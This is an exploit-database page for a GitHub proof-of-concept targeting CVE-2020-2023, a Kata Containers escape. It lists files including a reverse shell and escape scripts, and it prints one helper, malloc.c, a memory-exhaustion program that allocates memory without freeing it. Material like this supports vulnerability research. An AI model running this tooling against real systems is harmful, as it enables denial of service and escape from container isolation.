Exploit databaseDownload repository ZIP
GH-8cf57522e6f909b3de15726c507b98c4
ssst0n3/kata-cve-2020-2023-poc
Sources for CVE-2020-2023
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files8
ssst0n3/kata-cve-2020-2023-pocRevision a16e0db08045
- segmentation-fault/
- Dockerfile
- README.md
- malloc.c
- reverse_shell
- ssst0n3-core-pattern-escape-to-guest.sh
- util.sh
- yuvalavra-overwrite-systemd-shutdown-escape-to-guest.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
malloc.c
C · 877 bytes#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define PAGE_SIZE 512000
int main() {
void *addr;
size_t map_size;
size_t num_chunks = 10000000;
map_size = num_chunks * PAGE_SIZE;
// addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
// if (addr == MAP_FAILED) {
// perror("mmap");
// exit(1);
// }
for (int i=0; i<num_chunks; i++) {
char *buf = (char *) malloc(PAGE_SIZE);
memset(buf, i % 256, PAGE_SIZE);
// memcpy((char *) addr + i * PAGE_SIZE, buf, PAGE_SIZE);
// free(buf);
}
// if (madvise(addr, map_size, MADV_DONTNEED) < 0) {
// perror("madvise");
// exit(1);
// }
// if (munmap(addr, map_size) < 0){
// perror("munmap");
// exit(1);
// }
return 0;
}